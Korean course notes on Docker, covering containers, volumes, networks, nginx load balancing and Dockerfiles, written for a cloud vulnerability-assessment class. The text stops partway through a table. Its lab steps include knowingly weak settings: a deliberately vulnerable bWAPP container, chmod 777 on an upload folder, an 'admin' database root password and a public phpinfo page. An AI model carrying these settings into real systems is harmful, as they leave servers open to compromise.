본문 바로가기
SK 쉴더스 루키즈

클라우드기반 취약점 진단 및 대응 실무

by todayisfriday 2024. 8. 10.

도커와 마이크로서비스 이해

모놀리식 아키텍처 (Monolithic architecture)

  • 전통적인 아키텍처, 기존에 사용하던 서비스 방법
  • 서비스가 하나의 애플리케이션으로 돌아가는 구조
  • 기존의 개발 방식을 사용해 개발하여 간단히 배포
  • 하나의 서비스 또는 애플리키에션이 하나의 거대한 아키텍처
  • 다양한 기능을 동작하는 서비스를 서버에서 실행하여 서비스
  • 단점1. 모놀리식 서비스 아키텍처를 스케일링하면!

- 기존의 애플리케이션을 그대로 복제하여 로드밸런싱

- 불필요한 서비스까지 모두 복

  • 단점2. 종속적인 라이브러리의 충돌

- 각각의 기능들은 서로 다른 기능을 제공하여 버전의 종속성을 필요한 경우가 존재

- 각 기능의 따른 라이브러리를 매업데이트마다 관리하기 매우 어려움

  • 단점3. 조금만 수정해도 전체 빌드 및 배포 필요

- 소스코드 전체가 하나로써 동작하기 작은 수정만 있더라도 전체를 빌드하여 다시 배포해야 함

- 프로그램의 크기가 어느정도 커지면 한 번만 컴파일해서 전체 테스트를 돌려도 30분 내지 수 시간 소모

- 하루에 버그가 여러 개 순차적으로 발견되면? → 지옥

마이크로서비스 아키텍처

- 모놀리식 아키텍처의 대안으로 반대되는 개념

- 애플리케이션의 각각의 기능을 분리하여 개발 및 관리

- 마이크로서비스 장점

--> 서비스 단위 빠른 개발: 개발자가 특정 비즈니스 로직에 대해서만 집중하여 개발 가능

--> 배포 용이: 개별 서비스 단위로 개발, 패키징, 빌드, 테스트, 배포로 각 서비스마다 유연한 스케줄

--> 서비스 단위 고효율 저비용 Scale-Out 구조: 서비스 단위로 스케일링이 가능하여 불필요한 서비스는 줄이고 더

많은 자원이 필요한 서비스는 확장가능

--> 분산 시스템 환경에서 Transaction 보장, 테스트, 배포, 관리 복잡

마이크로서비스 아키텍처

  • 모놀리식 라이프 사이클과 마이크로 서비스 라이프 사이클 비교
  • 업무는 효율적인데 비용이 많이 들어가게 됨
  • 비용 해결을 위해 가상환경을 이용해보려고 하기 시작

- 도커와 컨테이너 사용하기 시작

컨테이너

  • 컨테이너는 가상머신을 사용해 각 마이크로 서비스를 격리(isolate)하는 기술
  • 컨테이너는 가상머신처럼 하드웨어를 전부 구현하지 않기 때문에 매우 빠른 실행 가능
  • 프로세스의 문제가 발생할 경우 컨테이너 전체를 조정해야 하기 때문에 컨테이너에 하나의 프로세스를 실행하도록 하는 것이 좋음

- 브라우저와 유사함

  • Virtualized Development

- Hypervisior가 가상환경 기술임

- Hardware가 잘 받춰줄 수 있어야 함

- 스냅샷만 잘 찍어놔도 껐다 키기 별 문제 없음

  • Container Development

- Container Runtime (Container Engine)

--> 윈도우즈 형식은 거의 없음

--> 리눅스 환경 위에 올라감

--> runtime : 프로세스 관리 시 많이 사용

- 프로세스 단위로 돌아감 : 가볍지만 쉽게 죽을 수 있고 죽었따 살아나면 불안정함

- 유지 개념이 아닌 버리는 개념

--> 쓸모 없으면 버리고 기존의 이미지 빌드를 프로세스로 사용하는 것

  • 도커 컨테이너 언제 사용함?

- 악성 코드 분석이나 통합 로그 분석 시 많이 사용

- 악성 코드 환경 전부 이미지화

--> 악성 코드 넣어서 원하는 정보 분석 ,결과들만 하나의 저장소에 보냄

--> 이미지 필요없으니까 삭제 , 반복

  • 람다

- 서버리스 환경 개념이 들어감 : 컨테이너 안에서 동작, API 통해 람다 함수 사용

쿠버네티스 환경

  • 도커, 컨테이너 늘어나서 관리 힘들었음

- 효율적인 관리 하려고 찾은 도구


KALI에서 만들기

Kali에 도커, 컨테이너 만들기

  • 도커 컨테이너 엔진이 만들어져 있어야 함
  • Runtime에 역할을 해 주는 것이 엔진
  • 도커 설치
┌──(kali㉿kali)-[~] └─$ sudo apt update ┌──(kali㉿kali)-[~] └─$ sudo apt install docker.io //docker 버전이 여러개지만 우리는 io 사용할 예정 //윈도우 프로 버전에 도커 데스크탑이라는 것이 있음 //그러나 실무에서는 윈도우에 도커 올리는 경우가 거의 없음 ┌──(kali㉿kali)-[~] └─$ ifconfig //docker0, eth0, lo 있음

- docker0은 eth0과 연결되어 있는 네트워크 영역임

- 서로는 통신 가능하다는 것 (브릿지로 연결되어 있음)

- 외부 네트워크 대역 (도커 컨테이너 입장에서는 윈도우즈도 외부임, NAT 환경) 연결 안돼있음

- 바깥과 연결하기 위해 port forwarding 필요함

  • 도커에서 이미지 받기
┌──(kali㉿kali)-[~] └─$ sudo docker pull nginx //pull : 저장소에서 가져오는 것, push : 저장소에 보내는 것 //저장소는 docker hub (docker hub 가입하기 https://hub.docker.com/) // 도커 허브에서 이미지 받은 것 ┌──(kali㉿kali)-[~] └─$ sudo docker search nginx //홈페이지에서 nginx 서치해서 나온 것과 같이 나옴

- 공식적 이미지는 안전한 것

- 파랑색은 인증된 업체에서 제공하는 것

  • nginx는 웹서버의 이미지 : 리눅스 환경 위에 웹서버 설치되어 있음을 말하는 게 nginx임

- linux의 이미지도 여러가지임 (ubuntu, demian .. 등)

- 이렇게 서치해서 있는 지 확인 후 다운 받으면 됨

- 항목 클릭해서 tag보면 원한느 버전들을 다운받을 수 있는 코드들이 있음

  • 이미지 : 필요한 소스들을 쌓아둔 것
  • 컨테이너 : 운영하기 위해 이미지를 컨테이너화 시키는 것
  • 도커 : 운영하기 위해 가져가고 서비스로 올리는 것
  • 쿠버네티스 : 여러가지 이미지들을 갖고 바다를 가는 것(운영에 목적을 두고 있는 것)
  • nginx 실행
┌──(kali㉿kali)-[~] └─$ sudo docker images REPOSITORY TAG IMAGE ID CREATED SIZE nginx latest 7383c266ef25 5 days ago 188MB //내가 다운 받은 이미지들 볼 수 있음 ┌──(kali㉿kali)-[~] └─$ sudo docker pull busybox //최소한의 리눅스 배포판이 busybox와 같다고 보면 됨 ┌──(kali㉿kali)-[~] └─$ sudo docker images REPOSITORY TAG IMAGE ID CREATED SIZE nginx latest 7383c266ef25 5 days ago 188MB busybox latest ba5dc23f65d4 11 months ago 4.26MB //용량이 굉장히 작아도 리눅스임 ┌──(kali㉿kali)-[~] └─$ sudo docker run --name web01 -d -p 8002:80 nginx //컨테이너 동작 (-d 백그라운드 동작, -p 포트 포워딩 80을 8001로 포트 포워딩 //-> 8001로 접속하면 엔진이 동작됨 //강사님이 8001로 하랬는데 오타남 ┌──(kali㉿kali)-[~] └─$ sudo docker run --name web02 -d -p 8001:80 nginx //그래서 하나 더 만들어준 것을 8001로 함

- 두 개 만들어진 것을 알 수 있음

┌──(kali㉿kali)-[~] └─$ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES f8095a17af1c nginx "/docker-entrypoint.…" 2 minutes ago Up 2 minutes 0.0.0.0:8001->80/tcp, :::8001->80/tcp web02 b71410c572fc nginx "/docker-entrypoint.…" 11 minutes ago Up 11 minutes 0.0.0.0:8002->80/tcp, :::8002->80/tcp web01 //이제 contatiner안에 같은 이미지 있는 것 볼 수 있음 //서로 격리되어 있는 것이고 docker엔진이 제어하는 중임 //서버 API 명령 내려서 제어하는 것 ┌──(kali㉿kali)-[~] └─$ sudo docker stop web01 //아주 빠르게 죽음 ┌──(kali㉿kali)-[~] └─$ sudo docker start web01 //아주 빨리 살아남 //stop을 하면 ┌──(kali㉿kali)-[~] └─$ sudo docker ps //이렇게 됐을 때 안보이지만 ┌──(kali㉿kali)-[~] └─$ sudo docker ps -a //이렇게 했을 때 보임 //안지워진 것 ┌──(kali㉿kali)-[~] └─$ sudo docker rm b7 //이렇게 해야 완전 지워진 것 ┌──(kali㉿kali)-[~] └─$ sudo docker images REPOSITORY TAG IMAGE ID CREATED SIZE nginx latest 7383c266ef25 5 days ago 188MB busybox latest ba5dc23f65d4 11 months ago 4.26MB //container 삭제한 것이므로 이미지가 삭제된 것은 아님 //이거 배워서 이제 다시 web01을 8001로 바꿔줌 ┌──(kali㉿kali)-[~] └─$ sudo docker rmi nginx Error response from daemon: conflict: unable to remove repository reference "nginx" (must force) - container f0c3c115d147 is using its referenced image 7383c266ef25 //컨테이너에서 하나라도 이미지를 사용하고 있다면 이미지를 지울 수 없음 ┌──(kali㉿kali)-[~] └─$ sudo docker run --name web02 -d -p 8002:80 nginx:1.18 //이렇게 하면 pull해서 1.18버전 받지 않아도 알아서 이미지까지 다운 받아 줌 ┌──(kali㉿kali)-[~] └─$ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 7612a3bc2939 nginx:1.18 "/docker-entrypoint.…" 22 seconds ago Up 21 seconds 0.0.0.0:8002->80/tcp, :::8002->80/tcp web02 f0c3c115d147 nginx "/docker-entrypoint.…" 5 minutes ago Up 5 minutes 0.0.0.0:8001->80/tcp, :::8001->80/tcp web01 ┌──(kali㉿kali)-[~] └─$ sudo docker images REPOSITORY TAG IMAGE ID CREATED SIZE nginx latest 7383c266ef25 5 days ago 188MB busybox latest ba5dc23f65d4 11 months ago 4.26MB nginx 1.18 c2c45d506085 3 years ago 133MB //이렇게 둘 다 잘 생성된 것 볼 수 있음

지금까지 사용한 용어

  • registry : docker hub

- AWS에서는 ECR 있음

--> AWS에서 인증받은 사용자만 ECR에서 가져올 수 있는 것

  • pull : 이미지 다운
  • create : container로 만드는 명령어
  • start : 컨테이너를 실행하는 것
  • run : pull + create + start

- 나중에는 exec (컨테이너 안에 들어가는 것)까지 기능

  • commit : 만든 컨테이너 이미지로 저장
  • push : 저장한 것 저장소에 올리기

프로세스 동작 및 실행시 특징보기

┌──(kali㉿kali)-[~] └─$ sudo docker inspect 73 //image에 대해 자세히 보는 것 (nginx ID임)

- layers : 기존 이미지에 추가적인 파일이 필요할 때 다시 다운로드 받는 방법이 아닌 해당 파일을 추가하기 위한 개념

--> / var/lib/docker/overlay에 다 관리가 되는 중임

--> 여기 접근할 때는 su - 권한 사용하기

도커 이미지 및 컨테이너 내부

┌──(root㉿kali)-[/var/lib/docker/overlay2] └─# ls //여기서 보고싶은 디렉토리 해당하는 것 가서 보면 됨 ┌──(root㉿kali)-[/var/lib/docker/overlay2] └─# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 7612a3bc2939 nginx:1.18 "/docker-entrypoint.…" 24 minutes ago Up 24 minutes 0.0.0.0:8002->80/tcp, :::8002->80/tcp web02 f0c3c115d147 nginx "/docker-entrypoint.…" 29 minutes ago Up 29 minutes 0.0.0.0:8001->80/tcp, :::8001->80/tcp web01 //container도 해보기 ┌──(root㉿kali)-[/var/lib/docker/overlay2] └─# sudo docker inspect f0c //이미지와 많이 다름 //도커에 컨데이너라고 되어있는 부분이 운영체제 경로 //얘도 마찬가지로 라이브러리 안쪽에 들어가서 확인 가능 //"LogPath": "/var/lib/docker/containers/f0c...-json.log" 여기에 로그 쌓이는 것 //젤 중요한 것은 networksettings //IPAddress : 172.17.0.2로 되어있음 이제 또 뭐 만들면 3,4,5 순서대로 됨 ┌──(kali㉿kali)-[~] └─$ sudo docker network ls NETWORK ID NAME DRIVER SCOPE a7d326fef30a bridge bridge local a644dad9cefc host host local c4bf98af1c48 none null local //브릿지에 연결되어있는 것을 비교해서 알 수 있음
  • 로그파일 확인 : 도커 자체에서 API 형태로 진행할 것인데 명령어들이 다 있어서 logs라는 명령어가 있는데 컨테이너 로그 파일들을 뿌려주는 것
┌──(kali㉿kali)-[~] └─$ sudo docker logs web01 //로그들 뿌려줌 ┌──(kali㉿kali)-[~] └─$ sudo docker logs -f web01 //얘는 실시간임
┌──(kali㉿kali)-[~] └─$ sudo docker info
┌──(kali㉿kali)-[~] └─$ sudo docker version //info와 유사함

- 서버 입장에서는 client도 원격임

- 명령어들이 전부 client

- docker는 go language로 되어 있음

- 요즘 고랭이 올라가는 추세임

- 모니터링 시에는 도커 info로 상태 가져와서 활용하는 편

┌──(kali㉿kali)-[~] └─$ sudo docker system events //시스템적으로 발생하는 이벤트 보여주는 것 ┌──(kali㉿kali)-[~] └─$ sudo docker run --name web03 -d -p 8003:80 nginx //일케 하면 events에 다 입력 됨 ┌──(kali㉿kali)-[~] └─$ sudo docker stop web03 //stop해보기

- start, kill, die

- stop하면 프로세스들을 죽이고 네트워크 연결 끊어버림

들어가서 명령어 수정하기

┌──(kali㉿kali)-[~] └─$ sudo docker exec -it web01 /bin/bash //-it : interactive terminal //bash :콘솔 권한 접근 ┌──(kali㉿kali)-[~] └─$ sudo docker exec -it web01 /bin/bash //bash 접속 $ apt install nettools //nettools 설치 $ cd /usr/share/nginx/html // html 수정 폴더 이동 $ rm -rf index.html // 기존 지우고 새로 생성 $ echo "<h1> Test Page </h1>" > index.html $ ls $ cat index.html

아무리봐도 졸아서 오타가 너무 많이 났지? 그래서 다시 했는데 그건 캡쳐를 안해놨네...

bWAPP 테스트 환경 구축

┌──(kali㉿kali)-[~] └─$ sudo docker search bwapp //확인 ┌──(kali㉿kali)-[~] └─$ sudo docker run --name bwapp -d -p 8003:80 j912944946/bwapp16.04 //설치

- 근데 현재는 권한 때문에 파일 업로드 같은 것이 안됨

- 그래서 권한을 업데이트 해보자

┌──(kali㉿kali)-[~] └─$ sudo docker exec -it bwapp /bin/bash root@dbbd54a7b9bb:/var/www/html# cd bWAPP root@dbbd54a7b9bb:/var/www/html/bWAPP# chmod 777 images //되나 확인해보기

- 잘 되네

새로운 이미지로 만들기

┌──(kali㉿kali)-[~] └─$ sudo docker login //도커 로그인 해두기 ┌──(kali㉿kali)-[~] └─$ sudo docker commit -a "도커Username" web01 webfront:1.0 sha256:c606de70fd08c0b5a2ef5dda66a1afdce14c20c6009f6e1ee06e1a8df45aef24 //webfront는 작업 버전작성하는 것이라고 생각 ┌──(kali㉿kali)-[~] └─$ sudo docker images REPOSITORY TAG IMAGE ID CREATED SIZE webfront 1.0 c606de70fd08 51 seconds ago 207MB //만들어짐! ┌──(kali㉿kali)-[~] └─$ sudo docker tag webfront:1.0 username/webfront:1.0 //복사한 것 ┌──(kali㉿kali)-[~] └─$ sudo docker push username/webfront:1.0 //올린 것 (github랑 유사) //최종적으로 이미지가 올라간 것임
┌──(kali㉿kali)-[~] └─$ sudo docker history webfront:1.0 //히스토리 볼 수 있음

- 의심되는 행동볼 수 있기에 중요함

아파치 설치하기

┌──(kali㉿kali)-[~] └─$ sudo docker run -itd --name ubuntu_web -p 80:80 ubuntu:latest ┌──(kali㉿kali)-[~] └─$ sudo docker ps ┌──(kali㉿kali)-[~] └─$ sudo docker attach ubuntu_web //attach가 /bin/bash와 같음 root@0cb89cdcf430:/# apt update root@0cb89cdcf430:/# apt install apache2 root@0cb89cdcf430:/# service apache2 start root@0cb89cdcf430:/# cd /var/www/html root@0cb89cdcf430:/var/www/html# ls index.html root@0cb89cdcf430:/var/www/html# rm -rf index.html root@0cb89cdcf430:/var/www/html# cat > index.html <h1>Test Apache Pages </h1> ^C root@0cb89cdcf430:/var/www/html# exit exit

직접 들어가서 바꾸지 않는 컨테이너로 카피

// 인덱스 html 생성 $ echo "<h1> Kali Test Pages .. </ha>" > index.html $ cat index.html $ sudo docker cp index.html web01:/usr/share/nginx/html/index.html

볼륨 만들기

┌──(kali㉿kali)-[~] └─$ sudo docker volume create my-data-1 my-data-1 //볼륨 생성 (해쉬값 형태) ┌──(kali㉿kali)-[~] └─$ sudo docker inspect my-data-1 [ { "CreatedAt": "2024-04-29T02:57:14-04:00", "Driver": "local", "Labels": {}, "Mountpoint": "/var/lib/docker/volumes/my-data-1/_data", "Name": "my-data-1", "Options": {}, "Scope": "local" } ] //세부 정보보고 싶을 땐 항상 inspect 사용하기 ┌──(kali㉿kali)-[~] └─$ sudo docker run -it --name=mysql_test -e MYSQL_ROOT_PASSWORD=admin -e MYSQL_DATABASE=test -v my-data-1:/var/lib/mysql -d mysql:5.7 //-e는 환경 변수 설정임 //이름은 mysql_test라는 것 //-v는 볼륨임 : 앞 뒤를 연결하는 것 //mysql 데이터베이스 생성 및 연결 ┌──(kali㉿kali)-[~] └─$ sudo docker exec -it mysql_test bash //들어가기 //리눅스 환경에 mysql 설치되어 있는 것 bash-4.2# mysql -u root -p //mysql 접속 mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | sys | | test | +--------------------+ 5 rows in set (0.00 sec) //아까 만든 test있음 mysql> create database test2; //하나 더 생성해보자 ┌──(root㉿kali)-[~] └─# cd /var/lib/docker/volumes/my-data-1/_data ┌──(root㉿kali)-[/var//docker/volumes/my-data-1/_data] └─# ls auto.cnf client-key.pem ib_logfile1 performance_schema server-key.pem ca-key.pem ib_buffer_pool ibtmp1 private_key.pem sys ca.pem ibdata1 mysql public_key.pem test client-cert.pem ib_logfile0 mysql.sock server-cert.pem test2 //볼륨에 저장 같이 되는 것 확인 가능

컨테이너 날아갔을 때

┌──(kali㉿kali)-[~] └─$ sudo docker stop 5f ┌──(kali㉿kali)-[~] └─$ sudo docker rm 5f //5f는 mysql id ┌──(kali㉿kali)-[~] └─$ sudo docker run -it --name=mysql_test2 -e MYSQL_ROOT_PASSWORD=admin -e MYSQL_DATABASE=test -v my-data-1:/var/lib/mysql -d mysql:5.7 //다시 만들기 2로 ┌──(kali㉿kali)-[~] └─$ sudo docker exec -it mysql_test2 bash bash-4.2# mysql -u root -p //들어가서 데이터베이스 보기 mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | sys | | test | | test2 | +--------------------+ 6 rows in set (0.00 sec) //그대로 있는 것 확인 가능

네트워크 만들기

┌──(kali㉿kali)-[~] └─$ sudo docker network ls //bridge, host, none 나옴 //bridge는 바깥과 연결되어있는 것 //host는 host간에만 하는 것 (내부 네트워크만 통신하는 것 같이) //none은 완젼히 격리된 환경 ┌──(kali㉿kali)-[~] └─$ sudo docker network create webapp-net1 d74c2779a497c16fc7be9f004d36feb8d795e1f77b3d819430d6380c687c1ab3 //이렇게 만들 수 있음 ┌──(kali㉿kali)-[~] └─$ sudo docker network ls NETWORK ID NAME DRIVER SCOPE a7d326fef30a bridge bridge local a644dad9cefc host host local c4bf98af1c48 none null local d74c2779a497 webapp-net1 bridge local //이렇게 만들어진 것 보임 ┌──(kali㉿kali)-[~] └─$ ifconfig //만들어진 것 보임

한 번에 삭제하기

┌──(kali㉿kali)-[~] └─$ sudo docker stop $(sudo docker ps -q -f status=running) cbb1096c7e03 dbbd54a7b9bb 7612a3bc2939 f0c3c115d147 //동작중인 것 전부 멈추기 //이건 실무에서 잘못 사용하면 진짜 클남 ┌──(kali㉿kali)-[~] └─$ sudo docker ps -q -f status=exited cbb1096c7e03 0cb89cdcf430 dbbd54a7b9bb 7612a3bc2939 f0c3c115d147 ┌──(kali㉿kali)-[~] └─$ sudo docker rm $(sudo docker ps -q -f status=exited) cbb1096c7e03 0cb89cdcf430 dbbd54a7b9bb 7612a3bc2939 f0c3c115d147 //삭제하기 //다 날라갔지 ┌──(kali㉿kali)-[~] └─$ sudo docker system prune -a WARNING! This will remove: - all stopped containers - all networks not used by at least one container - all images without at least one container associated to them - all build cache Are you sure you want to continue? [y/N] y //모든 것이 다 날아가는 것 //network, images 전부 ┌──(kali㉿kali)-[~] └─$ sudo docker network create webapp-net1 f149b1f989a2ee2f32c37de3e0bba2463f3b02d609c95608d029a29bfc7e2325 ┌──(kali㉿kali)-[~] └─$ sudo docker network create webapp-net2 4b1c453a90ae76bd64467331e77547f99e1a14343d9e940910c68a0915264c76 ┌──(kali㉿kali)-[~] └─$ sudo docker run -itd -p 8001:80 --name=web01 --net=webapp-net1 nginx //다 다시 만들기~ ┌──(kali㉿kali)-[~] └─$ sudo docker inspect web01 | grep IPAddress "SecondaryIPAddresses": null, "IPAddress": "", "IPAddress": "172.19.0.2", //일케 하면 IPAddress 정보만 나옴 ┌──(kali㉿kali)-[~] └─$ sudo docker network create --driver=bridge --subnet 172.100.1.0/24 --ip-range 172.100.1.0/24 --gateway 172.100.1.1 vm-net //driver 만들 때 대역을 설정하는 것 //특정한 IP로 만드록 싶다면 위의 범위 안에서 docker 컨테이너 설정 시 지정할 수 있음 //네트워크는 네트워크 대역만 설정하는 것 ┌──(kali㉿kali)-[~] └─$ sudo docker run -itd -p 8002:80 --name=web02 --net=vm-net nginx 464c44d254550b7ad33cd6da1da14a99de7104cc30844f6a39c2199d053f97b8 ┌──(kali㉿kali)-[~] └─$ sudo docker inspect web02 | grep IPAddress "SecondaryIPAddresses": null, "IPAddress": "", "IPAddress": "172.100.1.2", //잘 설정 됨 ┌──(kali㉿kali)-[~] └─$ curl http://localhost:8002 //직접 안들어가봐도 curl로 확인 가능
 

컨테이너 활용 로드밸런싱

마운티

  • 마운티는 볼륨을 만드는 것이 아닌 디렉터리를 컨테이너에 지정해주는 것
  • 디렉터리 /home/kali/web01 --> mount <-- docker container 지정 디렉터리
┌──(kali㉿kali)-[~] └─$ mkdir web-vol //디렉터리 만듬

Web01, Web02, Web03 컨테이너 실행

  • html 관리하는 페이지에 볼륨 잡아주기
┌──(kali㉿kali)-[~] └─$ sudo docker run -itd -p 8001:80 -v /home/kali/web-vol:/usr/share/nginx/html --name=web01 nginx:1.18 // 웹서버 nginx:1.18의 index.html에 볼륨을 마운트 ┌──(kali㉿kali)-[~/web-vol] └─$ echo "<h1>Test Page 01 </h1>" > index.html //인덱스 페이지 바꾸기

볼륨을 이용해서 index.html을 생성

  • 로드 밸런싱 환경을 만들기 위해 볼륨 두 개 더 만들기
┌──(kali㉿kali)-[~/web-vol] └─$ sudo docker run -itd -p 8002:80 -v /home/kali/web-vol02:/usr/share/nginx/html --name=web02 nginx:1.18 ┌──(kali㉿kali)-[~/web-vol] └─$ sudo docker run -itd -p 8003:80 -v /home/kali/web-vol03:/usr/share/nginx/html --name=web03 nginx:1.18 //이렇게 2번, 3번 만들어주기

칼리리눅스(호스트)에 nginx 서버를 설치 (로드밸런싱 역할)

  • 칼리 리눅스 (웹서버 -nginx LB 역할, WAF) -> web01, web02, web03
  • 도커 컨테이너 환경의 로드밸런싱
  • 칼리리눅스에 nginx 서버 설치
  • 인덱스 내용 다 바꾸기 (밑에는 안쓸거임)
┌──(root㉿kali)-[~] └─# service apache2 stop //우리는 nginx 사용할 예정이라 apache2 멈춰주기 ┌──(root㉿kali)-[~] └─# apt update ┌──(root㉿kali)-[~] └─# apt install nginx ┌──(root㉿kali)-[~] └─# service nginx start //이렇게 nginx 서비스를 시작시켜주기

nginx conf 수정해서 로드밸런싱 구축

  • LB 기능만 사용할 거라 많이 수정해야 함
┌──(root㉿kali)-[/etc/nginx] └─# vim nginx.conf //nginx.conf 파일을 열어서 user www-data; worker_processes auto; pid /run/nginx.pid; include /etc/nginx/modules-enabled/*.conf; //*/여기 ///별 이거 주석 아닌디 주석처리되네 events { worker_connections 768; # multi_accept on; } http { upstream backend-lb { server 127.0.0.1:8001; server 127.0.0.1:8002; server 127.0.0.1:8003; } server { listen 80 default_server; listen [::]:80 default_server; location / { proxy_pass http://backend-lb; } } ## # Basic Settings ## #sendfile on; #tcp_nopush on; #types_hash_max_size 2048; # server_tokens off; # server_names_hash_bucket_size 64; # server_name_in_redirect off; #include /etc/nginx/mime.types; #default_type application/octet-stream; ## # SSL Settings ## #ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE #ssl_prefer_server_ciphers on; ## # Logging Settings ## #access_log /var/log/nginx/access.log; #error_log /var/log/nginx/error.log; ## # Gzip Settings ## #gzip on; # gzip_vary on; # gzip_proxied any; # gzip_comp_level 6; # gzip_buffers 16 8k; # gzip_http_version 1.1; # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; ## # Virtual Host Configs ## #include /etc/nginx/conf.d/*.conf; #include /etc/nginx/sites-enabled/*; } //밑에는 다 주석 //upstream과 server 추가한 것임 //upstream이 실질적으로 LB 하는 애라고 보면 됨 //server가 프록시로 보냄 ┌──(root㉿kali)-[/etc/nginx] └─# service nginx restart //재시작해보기 //보면 default 안나옴
 
upstream backend-lb { server 127.0.0.1:8001 weight=6; server 127.0.0.1:8002 weight=2; server 127.0.0.1:8003 weight=2; } //가중치 주기

- 1이 자주 나옴

복습 퀴즈

1. 네트워크를 3개 대역를 만든다.

2. 볼륨을 3개를 만든다.

3. 3개의 웹서버에 볼륨과 네트워크를 연결한다.

4. 로드밸런싱을 구축하여, 웹 서버 3개에 분배한다.

┌──(kali㉿kali)-[~] └─$ sudo docker volume create vol-web01 vol-web01 ┌──(kali㉿kali)-[~] └─$ sudo docker volume create vol-web02 vol-web02 ┌──(kali㉿kali)-[~] └─$ sudo docker volume create vol-web03 vol-web03 ┌──(kali㉿kali)-[~] └─$ sudo docker network create net-web01 9b3f1554f868fb0f3e7abd69fcec6c2a990e38e593d55d2788e3822375605b96 ┌──(kali㉿kali)-[~] └─$ sudo docker network create net-web02 fcc3ade5115aaaad21df886e51f4df01193c00f7af651e4a1550e11f7e0f9ff0 ┌──(kali㉿kali)-[~] └─$ sudo docker network create net-web03 99a5176e87b75e21686f4053310ef9a7401547237d712ad1cd151c3fd0eca03f 499ebd91d25ad5925b54beb16c24100a85e576a04d1237eb2419071 ┌──(kali㉿kali)-[~] └─$ sudo docker run -itd -p 8001:80 -v vol-web01:/usr/share/nginx/html --net=net-web01 --name=web01 nginx:1.18 cc37ca3f6d7e6791dc273f5a5b872bf3d1926c7c386f1dc3597a8a17d529cb4c ┌──(kali㉿kali)-[~] └─$ sudo docker run -itd -p 8002:80 -v vol-web02:/usr/share/nginx/html --net=net-web02 --name=web02 nginx:1.18 cc37ca3f6d7e6791dc273f5a5b872bf3d1926c7c386f1dc3597a8a17d529cb4c ┌──(kali㉿kali)-[~] └─$ sudo docker run -itd -p 8003:80 -v vol-web03:/usr/share/nginx/html --net=net-web03 --name=web03 nginx:1.18 db5a3918965df5d96ad542745bc5bc7fd81086c405ef7b6b3bfa4eb25f653db1 아래는 생성된 볼륨에 가서 index.html 페이지 지우고 다시 생 ┌──(root㉿kali)-[~] └─# cd /var/lib/docker/volumes/vol-web02/_data ┌──(root㉿kali)-[/var//docker/volumes/vol-web02/_data] └─# ls 50x.html index.html ┌──(root㉿kali)-[/var//docker/volumes/vol-web02/_data] └─# rm -rf index.html ┌──(root㉿kali)-[/var//docker/volumes/vol-web02/_data] └─# vim index.html //index 설정만 안됐다 까비! //vol-web01까지만 들어가면 _data와 index.html이 있길래 거기에 했더니 //알고보니 _data 안까지 들어가서 했어야 했따 //이제 알았으니까 됐찌 머..

도커 파일 및 자동화

도커파일 (Dockerfile)

  • 지금까지 한 것을 자동화하는 것
  • 도커 허브 : 이미 이미지가 완선된 것을 제공 (docker pull)

- 지금까진 nginx 파일 다운 -> /usr/share/www/ -> index.html 했었음

- 아니면 우분투 -> apache2 설치 -> /var/www/html -> index.html...

--> 지속적으로 새로운 버전이 나오거나 새로 바뀌게 됨

  • 이거를 바뀌고 업뎃할 때마다 다시 만들기 힘듦

- 그래서 여기서 만든 과정하나로 묶어주는 것

  • 도커 허브에서 수동으로 도커 컨테이너를 다운로드 받아서→새로운 컨테이너 이미지로 생성을 하는 것

- 자동 스크립트로 이미지를 생성하는 방법(프로세스)

┌──(kali㉿kali)-[~] └─$ mkdir ubuntu_web //파일 하나 만들기 ┌──(kali㉿kali)-[~] └─$ cd ubuntu_web //들어가서 ┌──(kali㉿kali)-[~/ubuntu_web] └─$ sudo vim DockerFile //도커 파일 만들기 FROM ubuntu:14.04 MAINTAINER "boanproject" LABEL title "Web Application" RUN apt-get update && apt-get -y install apache2 php5 RUN echo 'Docker Web Application' > /var/www/html/index.html RUN echo '<?php phpinfo(); ?>' > /var/www/html/phpinfo.php EXPOSE 80 WORKDIR /var/www/html CMD ["/usr/sbin/apache2ctl", "-D", "FOREGROUND"] ​ $ sudo docker build -t ubuntu_web . // 현재 디렉토리에 이미지가 ubuntu_web으로 생성됨 ┌──(kali㉿kali)-[~/ubuntu_web] └─$ sudo docker images REPOSITORY TAG IMAGE ID CREATED SIZE docker_web latest 98d5637ec6a7 13 seconds ago 242MB ┌──(kali㉿kali)-[~/ubuntu_web] └─$ sudo docker run -itd -p 8888:80 --name=ubuntu_web docker_web // 도커 실행 // 외부에서 접속하여 확인 192.168.112.147:8888 접속 192.168.112.147:8888/phpinfo.php 접속
옵션
설명
FROM
베이스 이미지를 지정하여 도커 이미지를 빌드할 때 사용합니다. 주로 운영체제나 런타임 환경을 설정하는데 사용됩니다.
MAINTAINER(선택)
이미지를 관리하는 개인 또는 조직의 정보를 설정합니다. (deprecated: 사용은 가능하지만, 대신 LABEL을 사용하는 것이 권장됩니다.)
LABEL(선택)
이미지에 메타데이터를 추가합니다. 주로 버전, 제작자, 라이선스 등의 정보를 포함시킵니다.
RUN
도커 이미지 빌드 중에 실행할 명령어를 지정합니다. 주로 패키지 설치, 의존성 관리, 환경 설정 등을 처리하는데 사용됩니다.
CMD
컨테이너가 시작되었을 때 실행할 명령어를 지정합니다. 도커 파일에서 한 번만 사용할 수 있으며, 마지막으로 지정된 CMD가 적용됩니다.
EXPOSE
컨테이너가 외부에 노출할 포트를 지정합니다. 도커 실행 시 -p 옵션으로 호스트와 연결할 포트를 지정할 수 있습니다.
ENV
환경 변수를 설정합니다. 애플리케이션 실행에 필요한 환경 변수를 미리 정의하여 도커 이미지에 포함시킬 수 있습니다.
ADD
로컬 파일이나 디렉토리를 도커 이미지에 추가합니다. 자동으로 압축 파일을 해제하고, URL로부터 파일을 다운로드하는 기능도 제공합니다.
COPY
로컬 파일이나 디렉토리를 도커 이미지에 복사합니다. ADD와 달리 자동 압축 해제나 다운로드 기능은 제공하지 않습니다.
ENTRYPOINT
